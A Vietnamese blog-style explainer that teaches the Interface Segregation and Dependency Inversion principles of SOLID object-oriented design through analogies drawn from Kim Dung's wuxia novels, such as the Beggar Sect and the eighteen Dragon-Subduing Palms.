SOLID Principles - Kim Dung Truyện


Hồi IV. Interface Segregation Principle (ISP)

Interface Segregation Principle  là một trong những nguyên tắc trong nguyên tắc SOLID của lập trình hướng đối tượng. Nguyên tắc này đề xuất rằng một lớp không nên bị ép buộc để triển khai các phương thức mà nó không sử dụng. Thay vào đó, nên tạo ra các giao diện nhỏ, tinh gọn chỉ chứa các phương thức cần thiết cho các lớp sử dụng chúng.

Trong môn phái Cái Bang, việc tuân thủ nguyên tắc Interface Segregation Principle  có thể được hiểu như việc mỗi môn đồ chỉ nên học những kỹ thuật và chiêu thức võ công mà họ thực sự cần để trở thành cao thủ võ lâm. Họ không nên bị ép buộc phải học những chiêu thức không liên quan chỉ để đạt được danh hiệu hoặc vị thế trong môn phái.

Ví dụ  : nếu một cao thủ Cái Bang học Hàng long thập bát chưởng nếu xuất sắc chỉ cần đến cấp 12 như Kháng Long Hữu Hối : chiêu thức cực mạnh, bá lực đương thời là vô địch, lợi hại ở chỗ xuất chiêu vẫn bảo lưu, nhân lúc kẻ địch hấp hối thì vồ thêm một cú cũng đủ làm cho đối phương phá vỡ toàn bộ kinh mạch không thể cứu chữa.

Trong lập trình, việc tuân thủ nguyên tắc Interface Segregation Principle  đồng nghĩa với việc tạo ra các interfaces nhỏ và tinh gọn chứa ít phương thức nhất có thể. Điều này giúp tránh việc các lớp phải triển khai các phương thức không liên quan đến chúng, giảm thiểu sự phức tạp và làm cho mã nguồn trở nên dễ đọc và hiểu hơn.

Khi các giao diện được thiết kế chính xác và tách biệt, các lớp chỉ cần triển khai các phương thức cần thiết cho chúng. Điều này tăng tính modularity(một khái niệm chia nhỏ trong hệ thống thành các  modules hoặc components), giúp cho việc mở rộng và bảo trì mã nguồn trở nên dễ dàng hơn. 

Việc tuân thủ nguyên tắc Interface Segregation Principle  giúp tránh được sự phụ thuộc không mong muốn giữa các lớp và giao diện, giữ cho hệ thống linh hoạt và dễ dàng thay đổi khi cần thiết.

SOLID Principles - Kim Dung Truyện



Hồi V. Dependency Inversion Principle (DIP)

Dependency Inversion Principle  là một trong những nguyên tắc quan trọng của nguyên tắc SOLID trong lập trình hướng đối tượng. Nguyên tắc này nói rằng các module cấp cao(high-level modules) không nên phụ thuộc vào các module cấp thấp(low-level modules). Cả hai nên phụ thuộc vào một Interface hoặc các lớp trừu tượng (Abtraction Class) và không nên phụ thuộc vào chi tiết cụ thể.

Trong môn phái Cái Bang, việc tuân thủ nguyên tắc Dependency Inversion Principle  có thể được hiểu như việc khi học xong Hàng long thập bát chưởng có 18 thức (Phi Long Tại Thiên, Kiến Long Tại Điền, Hồng Tiệm Vu Lục, Tiềm Long Vật Dụng, Lợi Thiệp Đại Xuyên, Thần Long Bãi Vĩ, Đột Như Kì Lai, Song Long Thủ Thủy, Thời Thừa Lục Long, Long Chiến Tại Dã, Lí Sương Băng Chí, Kháng Long Hữu Hối, Tả Hữu Thần Long, Giao Long Phiên Giang, Cuồng Long Loạn Vũ, Bất Kham Nhất Kích, Long Du Thiên Địa, Long Đằng Ngũ Nhạc) thì mỗi môn đồ những ai được truyền thụ qua các đời khi đã luyện thành thì khi sử dụng chiêu thức tùy vào tình huống có thể xuất chiêu, cũng như có thể dùng Cuồng Long Loạn Vũ hay  Song Long Thủ Thủy…  không phải cần xuất chiêu thứ tự chiêu thứ nhất đến chiêu cuối cùng.

Giống như việc cao thủ này vẫn phải tuân thủ các quy tắc và cách xuất chiêu của 18 thức, nhưng có thế chọn 1 trong các chiêu phù hợp vào từng tình huống.

Trong lập trình, việc tuân thủ nguyên tắc Dependency Inversion Principle  đồng nghĩa với việc các lớp cấp cao(high-level classes) không nên biết về chi tiết cụ thể của các lớp cấp thấp(low-level classes), mà cả hai nên phụ thuộc vào các giao diện hoặc lớp trừu tượng(interfaces hoặc abstract classes). Điều này tạo ra sự linh hoạt trong việc thay đổi và cải thiện các module mà không làm ảnh hưởng đến các phần khác của hệ thống.

Khi các phụ thuộc được quản lý thông qua các giao diện hoặc lớp trừu tượng(interfaces hoặc abstract classes), chúng ta có thể dễ dàng thay đổi hoặc thay thế các module mà không làm ảnh hưởng đến các phần khác của hệ thống. 

Điều này giúp cho mã nguồn trở nên dễ dàng bảo trì, mở rộng và thử nghiệm, đồng thời tăng cường tính linh hoạt và tái sử dụng trong quá trình phát triển ứng dụng.

SOLID Principles - Kim Dung Truyện


 

Nhãn: